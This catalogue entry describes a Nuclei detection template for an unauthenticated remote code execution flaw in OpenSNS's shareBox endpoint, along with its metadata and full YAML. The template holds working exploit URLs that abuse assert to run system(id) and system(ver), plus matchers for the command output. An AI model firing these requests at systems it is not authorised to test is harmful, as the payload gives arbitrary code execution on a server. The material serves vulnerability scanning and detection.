SecurityContext

opensns-rce: OpenSNS - Remote Code Execution

  • Template: opensns-rce
  • Name: OpenSNS - Remote Code Execution
  • Description: OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint.
  • Severity: critical
  • Authors: gy741
  • Tags: opensns, rce, vuln
  • Max requests: 2
  • Directory: http/vulnerabilities
  • Path: http/vulnerabilities/other/opensns-rce.yaml
  • Digest: 4a0a00473045022100dde4a4438a81d5c428e2286629f95be64dd5ee7d74c1a6a9ccc9a259a02f00ed022020417030355369584b3ae95ff0152897d686e3a6e0dafee8acc8c542cfdd3e49
  • Created at: 2021-07-07T13:01:46Z
  • Updated at: 2025-10-26T16:17:37Z
  • Age in days: 1965
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/opensns-rce.yaml
  • Checked, none or zero: references, cves, verified, products
  • Not known: impact, remediation

Classification

  • Cwe: CWE-77
  • Cvss score: 10
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Not known: epss score, epss percentile, cpe

Metadata

  • Max-request: 2

Labels

  • Name: OpenSNS - Remote Code Execution
  • Impact: Unauthenticated remote attackers can execute arbitrary code, potentially leading to full system compromise.
  • Remediation: Update to the latest version of OpenSNS.
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: vulnerability type, requirements, from cve

```yaml

id: opensns-rce

info:

name: OpenSNS - Remote Code Execution

author: gy741

severity: critical

description: |

OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint.

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

cvss-score: 10

cwe-id: CWE-77

metadata:

max-request: 2

tags: opensns,rce,vuln

http:

- method: GET

path:

- '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)'

- '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id)'

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- "uid=([0-9(a-z)]+)"

- "Microsoft Windows"

condition: or

- type: word

words:

- "/Application/"

- type: status

status:

- 200

digest: 4a0a00473045022100dde4a4438a81d5c428e2286629f95be64dd5ee7d74c1a6a9ccc9a259a02f00ed022020417030355369584b3ae95ff0152897d686e3a6e0dafee8acc8c542cfdd3e49:922c64590222798bb761d5b6d8e72950

```